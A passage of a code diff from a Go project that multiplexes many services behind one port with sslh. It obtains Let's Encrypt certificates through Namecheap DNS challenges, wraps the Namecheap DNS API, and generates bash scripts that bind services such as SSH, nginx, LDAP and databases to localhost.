privateKey, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
return nil, fmt.Errorf("failed to generate private key: %w", err)
}
user := &User{
Email: email,
key: privateKey,
}
config := lego.NewConfig(user)
config.CADirURL = lego.LEDirectoryProduction
config.Certificate.KeyType = certcrypto.RSA2048
config.HTTPClient.Timeout = 30 * time.Second
client, err := lego.NewClient(config)
if err != nil {
return nil, fmt.Errorf("failed to create lego client: %w", err)
}
provider := &namecheapDNSProvider{dnsProvider: dnsProvider}
client.Challenge.SetDNS01Provider(provider)
accountPath := filepath.Join(certDir, "account.json")
var reg *registration.Resource
if _, err := os.Stat(accountPath); err == nil {
accountData, err := os.ReadFile(accountPath)
if err == nil {
if err := json.Unmarshal(accountData, &reg); err == nil && reg != nil {
user.Registration = reg
}
}
}
if user.Registration == nil {
reg, err := client.Registration.Register(registration.RegisterOptions{TermsOfServiceAgreed: true})
if err != nil {
return nil, fmt.Errorf("failed to register with Let's Encrypt: %w", err)
}
user.Registration = reg
accountData, _ := json.Marshal(reg)
os.WriteFile(accountPath, accountData, 0600)
}
return &Client{
user: user,
client: client,
certDir: certDir,
email: email,
dnsProvider: dnsProvider,
}, nil
}
type namecheapDNSProvider struct {
dnsProvider DNSProvider
}
func (p *namecheapDNSProvider) Present(domain, token, keyAuth string) error {
return p.dnsProvider.Present(domain, token, keyAuth)
}
func (p *namecheapDNSProvider) CleanUp(domain, token, keyAuth string) error {
return p.dnsProvider.CleanUp(domain, token, keyAuth)
}
func (c *Client) ObtainCertificate(domain string, sanDomains []string) (*CertificateInfo, error) {
domains := append([]string{domain}, sanDomains...)
request := certificate.ObtainRequest{
Domains: domains,
Bundle: true,
}
certificates, err := c.client.Certificate.Obtain(request)
if err != nil {
return nil, fmt.Errorf("failed to obtain certificate: %w", err)
}
certPath := filepath.Join(c.certDir, fmt.Sprintf("%s.crt", domain))
keyPath := filepath.Join(c.certDir, fmt.Sprintf("%s.key", domain))
fullChainPath := filepath.Join(c.certDir, fmt.Sprintf("%s-fullchain.crt", domain))
if err := os.WriteFile(certPath, certificates.Certificate, 0644); err != nil {
return nil, fmt.Errorf("failed to write certificate: %w", err)
}
if err := os.WriteFile(keyPath, certificates.PrivateKey, 0600); err != nil {
return nil, fmt.Errorf("failed to write private key: %w", err)
}
fullChain := append(certificates.Certificate, certificates.IssuerCertificate...)
if err := os.WriteFile(fullChainPath, fullChain, 0644); err != nil {
return nil, fmt.Errorf("failed to write full chain: %w", err)
}
block, _ := pem.Decode(certificates.Certificate)
if block == nil {
return nil, fmt.Errorf("failed to decode certificate")
}
cert, err := x509.ParseCertificate(block.Bytes)
if err != nil {
return nil, fmt.Errorf("failed to parse certificate: %w", err)
}
return &CertificateInfo{
CertificatePath: certPath,
PrivateKeyPath: keyPath,
FullChainPath: fullChainPath,
Domain: domain,
ExpiresAt: cert.NotAfter,
}, nil
}
func (c *Client) RevokeCertificate(certPath string) error {
certBytes, err := os.ReadFile(certPath)
if err != nil {
return fmt.Errorf("failed to read certificate: %w", err)
}
reason := uint(4)
return c.client.Certificate.RevokeWithReason(certBytes, &reason)
}
func GetCertificateInfo(certPath string) (*CertificateInfo, error) {
certBytes, err := os.ReadFile(certPath)
if err != nil {
return nil, fmt.Errorf("failed to read certificate: %w", err)
}
block, _ := pem.Decode(certBytes)
if block == nil {
return nil, fmt.Errorf("failed to decode certificate")
}
cert, err := x509.ParseCertificate(block.Bytes)
if err != nil {
return nil, fmt.Errorf("failed to parse certificate: %w", err)
}
keyPath := certPath[:len(certPath)-4] + ".key"
fullChainPath := certPath[:len(certPath)-4] + "-fullchain.crt"
return &CertificateInfo{
CertificatePath: certPath,
PrivateKeyPath: keyPath,
FullChainPath: fullChainPath,
Domain: cert.Subject.CommonName,
ExpiresAt: cert.NotAfter,
}, nil
}

View File

@@ -0,0 +1,94 @@
package letsencrypt
import (
"fmt"
"time"
"github.com/go-acme/lego/v4/challenge/dns01"
"sslh-multiplex-lab/internal/providers/namecheap"
)
type NamecheapDNSProvider struct {
namecheapClient *namecheap.Client
domain string
txtRecords map[string]string
}
func NewNamecheapDNSProvider(namecheapClient *namecheap.Client, domain string) *NamecheapDNSProvider {
return &NamecheapDNSProvider{
namecheapClient: namecheapClient,
domain: domain,
txtRecords: make(map[string]string),
}
}
func (p *NamecheapDNSProvider) Present(domain, token, keyAuth string) error {
fqdn, value := dns01.GetRecord(domain, keyAuth)
subdomain := extractSubdomain(fqdn, p.domain)
if subdomain == "" {
return fmt.Errorf("failed to extract subdomain from %s for domain %s", fqdn, p.domain)
}
p.txtRecords[subdomain] = value
_, err := p.namecheapClient.CreateOrUpdateDNSRecord(p.domain, subdomain, "TXT", value, 300)
if err != nil {
return fmt.Errorf("failed to create TXT record for %s: %w", subdomain, err)
}
time.Sleep(10 * time.Second)
return nil
}
func (p *NamecheapDNSProvider) CleanUp(domain, token, keyAuth string) error {
fqdn, _ := dns01.GetRecord(domain, keyAuth)
subdomain := extractSubdomain(fqdn, p.domain)
if subdomain == "" {
return nil
}
records, err := p.namecheapClient.ListDNSRecords(p.domain)
if err != nil {
return fmt.Errorf("failed to list DNS records: %w", err)
}
for _, record := range records {
if record.Name == subdomain && record.Type == "TXT" {
if err := p.namecheapClient.DeleteDNSRecord(p.domain, record.ID); err != nil {
return fmt.Errorf("failed to delete TXT record for %s: %w", subdomain, err)
}
}
}
delete(p.txtRecords, subdomain)
return nil
}
func extractSubdomain(fqdn, domain string) string {
if len(fqdn) <= len(domain) {
return ""
}
suffix := "." + domain
if !endsWith(fqdn, suffix) {
return ""
}
subdomain := fqdn[:len(fqdn)-len(suffix)]
if subdomain == "_acme-challenge" {
return "_acme-challenge"
}
if len(subdomain) > len("_acme-challenge.") && subdomain[:len("_acme-challenge.")] == "_acme-challenge." {
return subdomain
}
return ""
}
func endsWith(s, suffix string) bool {
return len(s) >= len(suffix) && s[len(s)-len(suffix):] == suffix
}

View File

@@ -0,0 +1,567 @@
package namecheap
import (
"encoding/xml"
"fmt"
"net/url"
"strconv"
"strings"
"time"
"github.com/go-resty/resty/v2"
)
const (
namecheapAPIBaseURL = "https://api.namecheap.com/xml.response"
)
type Client struct {
apiKey string
apiUser string
clientIP string
resty *resty.Client
}
type Domain struct {
Name string
Nameservers []string
IsUsingNamecheapDNS bool
}
type DNSRecord struct {
ID string
Type string
Name string
Address string
TTL int
MXPref int
}
type DomainListResponse struct {
Domains []Domain
}
type DNSHostListResponse struct {
Records []DNSRecord
}
func NewClient(apiKey, apiUser, clientIP string) *Client {
client := resty.New()
client.SetBaseURL(namecheapAPIBaseURL)
client.SetTimeout(30 * time.Second)
return &Client{
apiKey: apiKey,
apiUser: apiUser,
clientIP: clientIP,
resty: client,
}
}
func (c *Client) buildQueryParams(command string, params map[string]string) url.Values {
query := url.Values{}
query.Set("ApiUser", c.apiUser)
query.Set("ApiKey", c.apiKey)
query.Set("UserName", c.apiUser)
query.Set("ClientIp", c.clientIP)
query.Set("Command", command)
for k, v := range params {
query.Set(k, v)
}
return query
}
func (c *Client) ListDomains() ([]Domain, error) {
query := c.buildQueryParams("namecheap.domains.getList", map[string]string{})
resp, err := c.resty.R().
SetQueryParamsFromValues(query).
Get("")
if err != nil {
return nil, fmt.Errorf("failed to list domains: %w", err)
}
if resp.IsError() {
return nil, fmt.Errorf("API error: %s - %s", resp.Status(), string(resp.Body()))
}
var domains []Domain
if err := parseDomainListResponse(resp.Body(), &domains); err != nil {
return nil, fmt.Errorf("failed to parse response: %w", err)
}
return domains, nil
}
func (c *Client) ListDNSRecords(domain string) ([]DNSRecord, error) {
query := c.buildQueryParams("namecheap.domains.dns.getHosts", map[string]string{
"SLD": extractSLD(domain),
"TLD": extractTLD(domain),
})
resp, err := c.resty.R().
SetQueryParamsFromValues(query).
Get("")
if err != nil {
return nil, fmt.Errorf("failed to list DNS records: %w", err)
}
if resp.IsError() {
bodyStr := string(resp.Body())
if strings.Contains(bodyStr, "2030288") || strings.Contains(bodyStr, "not using proper DNS servers") {
return nil, fmt.Errorf("domain %s is not using Namecheap DNS servers. The domain must use Namecheap's BasicDNS, PremiumDNS, or FreeDNS nameservers to manage DNS records via API. Please change the nameservers in your Namecheap account (Domain List > Manage > Nameservers) to 'Namecheap BasicDNS' or 'Namecheap PremiumDNS'", domain)
}
return nil, fmt.Errorf("API error: %s - %s", resp.Status(), bodyStr)
}
var records []DNSRecord
if err := parseDNSHostListResponse(resp.Body(), &records); err != nil {
return nil, fmt.Errorf("failed to parse response: %w", err)
}
return records, nil
}
func (c *Client) CreateOrUpdateDNSRecord(domain, subdomain, recordType, value string, ttl int) (created bool, err error) {
sld := extractSLD(domain)
tld := extractTLD(domain)
records, err := c.ListDNSRecords(domain)
if err != nil {
return false, fmt.Errorf("failed to get existing records: %w", err)
}
recordExists := false
var updatedRecords []DNSRecord
for _, record := range records {
if record.Name == subdomain && record.Type == recordType {
recordExists = true
updatedRecords = append(updatedRecords, DNSRecord{
ID: record.ID,
Type: recordType,
Name: subdomain,
Address: value,
TTL: ttl,
MXPref: record.MXPref,
})
} else {
updatedRecords = append(updatedRecords, record)
}
}
if !recordExists {
updatedRecords = append(updatedRecords, DNSRecord{
ID: fmt.Sprintf("%d", len(records)+1),
Type: recordType,
Name: subdomain,
Address: value,
TTL: ttl,
MXPref: 10,
})
}
query := c.buildQueryParams("namecheap.domains.dns.setHosts", map[string]string{
"SLD": sld,
"TLD": tld,
})
for i, record := range updatedRecords {
idx := i + 1
query.Set(fmt.Sprintf("HostName%d", idx), record.Name)
query.Set(fmt.Sprintf("RecordType%d", idx), record.Type)
query.Set(fmt.Sprintf("Address%d", idx), record.Address)
query.Set(fmt.Sprintf("TTL%d", idx), fmt.Sprintf("%d", record.TTL))
if record.Type == "MX" {
query.Set(fmt.Sprintf("MXPref%d", idx), fmt.Sprintf("%d", record.MXPref))
}
}
resp, err := c.resty.R().
SetQueryParamsFromValues(query).
Get("")
if err != nil {
return false, fmt.Errorf("failed to set DNS record: %w", err)
}
if resp.IsError() {
return false, fmt.Errorf("API error: %s - %s", resp.Status(), string(resp.Body()))
}
return !recordExists, nil
}
func (c *Client) CreateDNSRecord(domain, subdomain, recordType, value string, ttl int) error {
_, err := c.CreateOrUpdateDNSRecord(domain, subdomain, recordType, value, ttl)
return err
}
func (c *Client) DeleteDNSRecord(domain, recordID string) error {
records, err := c.ListDNSRecords(domain)
if err != nil {
return fmt.Errorf("failed to get existing records: %w", err)
}
var filtered []DNSRecord
for _, record := range records {
if record.ID != recordID {
filtered = append(filtered, record)
}
}
sld := extractSLD(domain)
tld := extractTLD(domain)
query := c.buildQueryParams("namecheap.domains.dns.setHosts", map[string]string{
"SLD": sld,
"TLD": tld,
})
for i, record := range filtered {
query.Set(fmt.Sprintf("HostName%d", i+1), record.Name)
query.Set(fmt.Sprintf("RecordType%d", i+1), record.Type)
query.Set(fmt.Sprintf("Address%d", i+1), record.Address)
query.Set(fmt.Sprintf("TTL%d", i+1), fmt.Sprintf("%d", record.TTL))
}
resp, err := c.resty.R().
SetQueryParamsFromValues(query).
Get("")
if err != nil {
return fmt.Errorf("failed to delete DNS record: %w", err)
}
if resp.IsError() {
return fmt.Errorf("API error: %s - %s", resp.Status(), string(resp.Body()))
}
return nil
}
func (c *Client) CheckExistingRecords(domain string) (bool, []DNSRecord, error) {
records, err := c.ListDNSRecords(domain)
if err != nil {
return false, nil, err
}
return len(records) > 0, records, nil
}
func (c *Client) GetDomainInfo(domain string) (*Domain, error) {
query := c.buildQueryParams("namecheap.domains.getInfo", map[string]string{
"DomainName": domain,
})
resp, err := c.resty.R().
SetQueryParamsFromValues(query).
Get("")
if err != nil {
return nil, fmt.Errorf("failed to get domain info: %w", err)
}
if resp.IsError() {
return nil, fmt.Errorf("API error: %s - %s", resp.Status(), string(resp.Body()))
}
var domainInfo Domain
if err := parseDomainInfoResponse(resp.Body(), &domainInfo); err != nil {
return nil, fmt.Errorf("failed to parse response: %w", err)
}
return &domainInfo, nil
}
func (c *Client) IsDomainUsingNamecheapDNS(domain string) (bool, error) {
domainInfo, err := c.GetDomainInfo(domain)
if err != nil {
return false, err
}
return domainInfo.IsUsingNamecheapDNS, nil
}
func (c *Client) SetDomainToNamecheapDNS(domain string) error {
sld := extractSLD(domain)
tld := extractTLD(domain)
if sld == "" || tld == "" {
return fmt.Errorf("invalid domain format: %s (could not extract SLD/TLD)", domain)
}
query := c.buildQueryParams("namecheap.domains.dns.setDefault", map[string]string{
"SLD": sld,
"TLD": tld,
})
resp, err := c.resty.R().
SetQueryParamsFromValues(query).
Get("")
if err != nil {
return fmt.Errorf("failed to set domain to Namecheap DNS: %w", err)
}
bodyStr := string(resp.Body())
if resp.IsError() {
return fmt.Errorf("API error: %s - %s", resp.Status(), bodyStr)
}
var result domainDNSSetDefaultResult
if err := parseDNSSetDefaultResponse(resp.Body(), &result); err != nil {
return fmt.Errorf("failed to parse response: %w\nAPI response: %s", err, bodyStr)
}
if !result.Updated {
return fmt.Errorf("API returned Updated=false for domain %s\nAPI response: %s", domain, bodyStr)
}
return nil
}
func extractSLD(domain string) string {
parts := splitDomain(domain)
if len(parts) >= 2 {
return parts[len(parts)-2]
}
return ""
}
func extractTLD(domain string) string {
parts := splitDomain(domain)
if len(parts) >= 1 {
return parts[len(parts)-1]
}
return ""
}
func splitDomain(domain string) []string {
var parts []string
start := 0
for i, char := range domain {
if char == '.' {
if i > start {
parts = append(parts, domain[start:i])
}
start = i + 1
}
}
if start < len(domain) {
parts = append(parts, domain[start:])
}
return parts
}
type apiResponse struct {
XMLName xml.Name `xml:"ApiResponse"`
Status string `xml:"Status,attr"`
Errors []apiError `xml:"Errors>Error"`
CommandResponse commandResponse `xml:"CommandResponse"`
}
type apiError struct {
Number string `xml:"Number,attr"`
Text string `xml:",chardata"`
}
type commandResponse struct {
DomainGetListResult domainGetListResult `xml:"DomainGetListResult"`
DomainDNSSetHostsResult domainDNSSetHostsResult `xml:"DomainDNSSetHostsResult"`
DomainDNSGetHostsResult domainDNSGetHostsResult `xml:"DomainDNSGetHostsResult"`
DomainGetInfoResult domainGetInfoResult `xml:"DomainGetInfoResult"`
DomainDNSSetDefaultResult domainDNSSetDefaultResult `xml:"DomainDNSSetDefaultResult"`
}
type domainGetListResult struct {
Domains []domainXML `xml:"Domain"`
}
type domainXML struct {
Name string `xml:"Name"`
}
type domainGetInfoResult struct {
DomainName string `xml:"DomainName,attr"`
IsUsingNamecheapDNS bool `xml:"IsUsingNamecheapDNS,attr"`
Nameservers []nameserverXML `xml:"Nameservers>Nameserver"`
}
type nameserverXML struct {
Name string `xml:",chardata"`
}
type domainDNSSetDefaultResult struct {
Domain string `xml:"Domain,attr"`
Updated bool `xml:"Updated,attr"`
}
type domainDNSGetHostsResult struct {
Hosts []hostXML `xml:"host"`
}
type domainDNSSetHostsResult struct {
IsSuccess bool `xml:"IsSuccess,attr"`
}
type hostXML struct {
Name string `xml:"Name,attr"`
Type string `xml:"Type,attr"`
Address string `xml:"Address,attr"`
TTL string `xml:"TTL,attr"`
MXPref string `xml:"MXPref,attr"`
}
func parseDomainListResponse(body []byte, domains *[]Domain) error {
var resp apiResponse
if err := xml.Unmarshal(body, &resp); err != nil {
return fmt.Errorf("failed to unmarshal XML: %w", err)
}
if resp.Status != "OK" {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
return fmt.Errorf("API returned error status: %s", errorMsgs)
}
if len(resp.Errors) > 0 {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
return fmt.Errorf("API errors in response: %s", errorMsgs)
}
*domains = make([]Domain, 0, len(resp.CommandResponse.DomainGetListResult.Domains))
for _, domainXML := range resp.CommandResponse.DomainGetListResult.Domains {
*domains = append(*domains, Domain{
Name: domainXML.Name,
})
}
return nil
}
func parseDNSHostListResponse(body []byte, records *[]DNSRecord) error {
var resp apiResponse
if err := xml.Unmarshal(body, &resp); err != nil {
return fmt.Errorf("failed to unmarshal XML: %w", err)
}
if resp.Status != "OK" {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
return fmt.Errorf("API returned error status: %s", errorMsgs)
}
if len(resp.Errors) > 0 {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
return fmt.Errorf("API errors in response: %s", errorMsgs)
}
*records = make([]DNSRecord, 0, len(resp.CommandResponse.DomainDNSGetHostsResult.Hosts))
for i, hostXML := range resp.CommandResponse.DomainDNSGetHostsResult.Hosts {
ttl := 1799
if hostXML.TTL != "" {
if parsedTTL, err := strconv.Atoi(hostXML.TTL); err == nil {
ttl = parsedTTL
}
}
mxPref := 10
if hostXML.MXPref != "" {
if parsedMXPref, err := strconv.Atoi(hostXML.MXPref); err == nil {
mxPref = parsedMXPref
}
}
*records = append(*records, DNSRecord{
ID: fmt.Sprintf("%d", i+1),
Type: hostXML.Type,
Name: hostXML.Name,
Address: hostXML.Address,
TTL: ttl,
MXPref: mxPref,
})
}
return nil
}
func parseDomainInfoResponse(body []byte, domain *Domain) error {
var resp apiResponse
if err := xml.Unmarshal(body, &resp); err != nil {
return fmt.Errorf("failed to unmarshal XML: %w", err)
}
if resp.Status != "OK" {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
return fmt.Errorf("API returned error status: %s", errorMsgs)
}
if len(resp.Errors) > 0 {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
return fmt.Errorf("API errors in response: %s", errorMsgs)
}
result := resp.CommandResponse.DomainGetInfoResult
domain.Name = result.DomainName
domain.IsUsingNamecheapDNS = result.IsUsingNamecheapDNS
domain.Nameservers = make([]string, 0, len(result.Nameservers))
for _, ns := range result.Nameservers {
domain.Nameservers = append(domain.Nameservers, ns.Name)
}
return nil
}
func parseDNSSetDefaultResponse(body []byte, result *domainDNSSetDefaultResult) error {
var resp apiResponse
if err := xml.Unmarshal(body, &resp); err != nil {
return fmt.Errorf("failed to unmarshal XML: %w\nResponse body: %s", err, string(body))
}
if resp.Status != "OK" {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
if len(errorMsgs) == 0 {
errorMsgs = append(errorMsgs, "unknown error (no error details in response)")
}
return fmt.Errorf("API returned error status: %s", errorMsgs)
}
if len(resp.Errors) > 0 {
var errorMsgs []string
for _, err := range resp.Errors {
errorMsgs = append(errorMsgs, fmt.Sprintf("[%s] %s", err.Number, err.Text))
}
return fmt.Errorf("API errors in response: %s", errorMsgs)
}
if resp.CommandResponse.DomainDNSSetDefaultResult.Domain == "" {
return fmt.Errorf("API response missing DomainDNSSetDefaultResult\nResponse body: %s", string(body))
}
*result = resp.CommandResponse.DomainDNSSetDefaultResult
return nil
}

View File

@@ -0,0 +1,34 @@
package namecheap
import (
"fmt"
"time"
)
func (c *Client) WaitForDNSPropagation(domain, subdomain, expectedIP string, timeout time.Duration) error {
deadline := time.Now().Add(timeout)
backoff := 5 * time.Second
maxBackoff := 80 * time.Second
for {
if time.Now().After(deadline) {
return fmt.Errorf("timeout waiting for DNS propagation")
}
records, err := c.ListDNSRecords(domain)
if err != nil {
return fmt.Errorf("failed to check DNS records: %w", err)
}
for _, record := range records {
if record.Name == subdomain && record.Address == expectedIP {
return nil
}
}
time.Sleep(backoff)
if backoff < maxBackoff {
backoff *= 2
}
}
}

View File

@@ -0,0 +1,313 @@
package services
import "fmt"
type Service struct {
Name string
Port int
Subdomain string
Protocol string
BackendPort int
SNIRequired bool
Config map[string]interface{}
}
func GetDefaultServices(domain string) []Service {
return []Service{
{
Name: "ssh",
Port: 22,
Subdomain: "ssh",
Protocol: "ssh",
BackendPort: 22,
SNIRequired: false,
Config: map[string]interface{}{},
},
{
Name: "https",
Port: 443,
Subdomain: "",
Protocol: "tls",
BackendPort: 8444,
SNIRequired: false,
Config: map[string]interface{}{
"alpn_protocols": []string{"h2", "http/1.1"},
},
},
{
Name: "smb",
Port: 445,
Subdomain: "smb",
Protocol: "regex",
BackendPort: 445,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x00\\x00\\x00"},
},
},
}
}
func GetAdditionalServices(domain string) []Service {
return []Service{
{
Name: "ldap",
Port: 389,
Subdomain: "ldap",
Protocol: "regex",
BackendPort: 389,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x30"},
},
},
{
Name: "ldaps",
Port: 636,
Subdomain: "ldaps",
Protocol: "tls",
BackendPort: 636,
SNIRequired: true,
Config: map[string]interface{}{},
},
{
Name: "rdp",
Port: 3389,
Subdomain: "rdp",
Protocol: "regex",
BackendPort: 3389,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x03\\x00\\x00"},
},
},
{
Name: "mysql",
Port: 3306,
Subdomain: "mysql",
Protocol: "regex",
BackendPort: 3306,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^[\\x00-\\xff]{4}\\x0a"},
},
},
{
Name: "postgres",
Port: 5432,
Subdomain: "postgres",
Protocol: "regex",
BackendPort: 5432,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x00\\x00\\x00\\x08"},
},
},
}
}
func GetStandardServices(domain string) []Service {
return []Service{
{
Name: "ssh",
Port: 22,
Subdomain: "ssh",
Protocol: "ssh",
BackendPort: 22,
SNIRequired: false,
Config: map[string]interface{}{},
},
{
Name: "https",
Port: 443,
Subdomain: "",
Protocol: "tls",
BackendPort: 8444,
SNIRequired: false,
Config: map[string]interface{}{
"alpn_protocols": []string{"h2", "http/1.1"},
},
},
{
Name: "ldap",
Port: 389,
Subdomain: "ldap",
Protocol: "regex",
BackendPort: 389,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x30"},
},
},
{
Name: "ldaps",
Port: 636,
Subdomain: "ldaps",
Protocol: "tls",
BackendPort: 636,
SNIRequired: true,
Config: map[string]interface{}{},
},
{
Name: "smb",
Port: 445,
Subdomain: "smb",
Protocol: "regex",
BackendPort: 445,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x00\\x00\\x00"},
},
},
{
Name: "rdp",
Port: 3389,
Subdomain: "rdp",
Protocol: "regex",
BackendPort: 3389,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x03\\x00\\x00"},
},
},
{
Name: "mysql",
Port: 3306,
Subdomain: "mysql",
Protocol: "regex",
BackendPort: 3306,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^[\\x00-\\xff]{4}\\x0a"},
},
},
{
Name: "postgres",
Port: 5432,
Subdomain: "postgres",
Protocol: "regex",
BackendPort: 5432,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\x00\\x00\\x00\\x08"},
},
},
{
Name: "redis",
Port: 6379,
Subdomain: "redis",
Protocol: "regex",
BackendPort: 6379,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\*[0-9]"},
},
},
{
Name: "mongodb",
Port: 27017,
Subdomain: "mongo",
Protocol: "regex",
BackendPort: 27017,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^[\\x3d\\xdb]\\x00\\x00\\x00"},
},
},
{
Name: "vnc",
Port: 5900,
Subdomain: "vnc",
Protocol: "regex",
BackendPort: 5900,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^RFB"},
},
},
{
Name: "ftp",
Port: 21,
Subdomain: "ftp",
Protocol: "regex",
BackendPort: 21,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^220"},
},
},
{
Name: "ftps",
Port: 990,
Subdomain: "ftps",
Protocol: "tls",
BackendPort: 990,
SNIRequired: true,
Config: map[string]interface{}{},
},
{
Name: "smtp",
Port: 25,
Subdomain: "smtp",
Protocol: "regex",
BackendPort: 25,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^220"},
},
},
{
Name: "smtps",
Port: 465,
Subdomain: "smtps",
Protocol: "tls",
BackendPort: 465,
SNIRequired: true,
Config: map[string]interface{}{},
},
{
Name: "imap",
Port: 143,
Subdomain: "imap",
Protocol: "regex",
BackendPort: 143,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\* OK"},
},
},
{
Name: "imaps",
Port: 993,
Subdomain: "imaps",
Protocol: "tls",
BackendPort: 993,
SNIRequired: true,
Config: map[string]interface{}{},
},
{
Name: "pop3",
Port: 110,
Subdomain: "pop3",
Protocol: "regex",
BackendPort: 110,
SNIRequired: false,
Config: map[string]interface{}{
"regex_patterns": []string{"^\\+OK"},
},
},
{
Name: "pop3s",
Port: 995,
Subdomain: "pop3s",
Protocol: "tls",
BackendPort: 995,
SNIRequired: true,
Config: map[string]interface{}{},
},
}
}
func (s *Service) GetFQDN(domain string) string {
return fmt.Sprintf("%s.%s", s.Subdomain, domain)
}

View File

@@ -0,0 +1,196 @@
package services
import (
"fmt"
"strings"
)
type ServiceInstaller struct {
Service Service
}
func (si *ServiceInstaller) GenerateInstallScript() string {
var script strings.Builder
script.WriteString("#!/bin/bash\n")
script.WriteString("set -e\n\n")
switch si.Service.Name {
case "ssh":
script.WriteString(si.installSSH())
case "https":
script.WriteString(si.installNginx())
case "smb":
script.WriteString(si.installSamba())
case "ldap", "ldaps":
script.WriteString(si.installLDAP())
case "mysql":
script.WriteString(si.installMySQL())
case "postgres":
script.WriteString(si.installPostgreSQL())
case "redis":
script.WriteString(si.installRedis())
case "mongodb":
script.WriteString(si.installMongoDB())
default:
script.WriteString(si.installGeneric())
}
return script.String()
}
func (si *ServiceInstaller) installSSH() string {
return `# Configure SSH to listen on localhost only
sed -i 's/#ListenAddress 0.0.0.0/ListenAddress 127.0.0.1/' /etc/ssh/sshd_config
sed -i 's/ListenAddress 0.0.0.0/ListenAddress 127.0.0.1/' /etc/ssh/sshd_config
systemctl restart sshd
`
}
func (si *ServiceInstaller) installNginx() string {
return `# Configure Nginx to listen on localhost:8444 for HTTPS
# Create demo page directory
mkdir -p /var/www/demo
cat > /var/www/demo/index.html <<'HTML'
<!DOCTYPE html>
<html>
<head>
<title>Demo App Page</title>
<meta charset="utf-8">
<style>
body {
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
}
.container {
text-align: center;
padding: 2rem;
background: rgba(255, 255, 255, 0.1);
border-radius: 10px;
backdrop-filter: blur(10px);
}
h1 {
margin: 0;
font-size: 3rem;
}
</style>
</head>
<body>
<div class="container">
<h1>Demo app page</h1>
</div>
</body>
</html>
HTML
# Configure Nginx for root domain and subdomains
cat > /etc/nginx/sites-available/sslh-proxy <<'EOF'
# Default server for root domain (HTTPS on port 443 via SSLH)
server {
listen 127.0.0.1:8444 ssl http2;
server_name _;
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
root /var/www/demo;
index index.html;
location / {
try_files $uri $uri/ =404;
}
}
EOF
ln -sf /etc/nginx/sites-available/sslh-proxy /etc/nginx/sites-enabled/
rm -f /etc/nginx/sites-enabled/default
nginx -t && systemctl restart nginx
`
}
func (si *ServiceInstaller) installSamba() string {
return `# Configure Samba to listen on localhost only
sed -i 's/; interfaces = 127.0.0.0\\/8/ interfaces = 127.0.0.1/' /etc/samba/smb.conf
sed -i 's/; bind interfaces only = yes/ bind interfaces only = yes/' /etc/samba/smb.conf
systemctl restart smbd
`
}
func (si *ServiceInstaller) installLDAP() string {
return `# Install and configure OpenLDAP
DEBIAN_FRONTEND=noninteractive apt-get install -y slapd ldap-utils
# Configure OpenLDAP to listen on localhost only
sed -i 's|^SLAPD_SERVICES=.*|SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps://127.0.0.1:636/"|' /etc/default/slapd || true
systemctl enable slapd
systemctl restart slapd
`
}
func (si *ServiceInstaller) installMySQL() string {
return `# Install MySQL/MariaDB and configure to listen on localhost
DEBIAN_FRONTEND=noninteractive apt-get install -y mysql-server || DEBIAN_FRONTEND=noninteractive apt-get install -y mariadb-server
if [ -f /etc/mysql/mysql.conf.d/mysqld.cnf ]; then
sed -i 's/bind-address.*/bind-address = 127.0.0.1/' /etc/mysql/mysql.conf.d/mysqld.cnf
elif [ -f /etc/mysql/mariadb.conf.d/50-server.cnf ]; then
sed -i 's/bind-address.*/bind-address = 127.0.0.1/' /etc/mysql/mariadb.conf.d/50-server.cnf
fi
systemctl restart mysql || systemctl restart mariadb
`
}
func (si *ServiceInstaller) installPostgreSQL() string {
return `# Install PostgreSQL and configure to listen on localhost
apt-get install -y postgresql postgresql-contrib
for conf in /etc/postgresql/*/main/postgresql.conf; do
if [ -f "$conf" ]; then
sed -i "s/#listen_addresses = 'localhost'/listen_addresses = 'localhost'/" "$conf" || \
sed -i "s/listen_addresses = '.*'/listen_addresses = 'localhost'/" "$conf" || \
echo "listen_addresses = 'localhost'" >> "$conf"
fi
done
systemctl restart postgresql
`
}
func (si *ServiceInstaller) installRedis() string {
return `# Install Redis and configure to listen on localhost
apt-get install -y redis-server
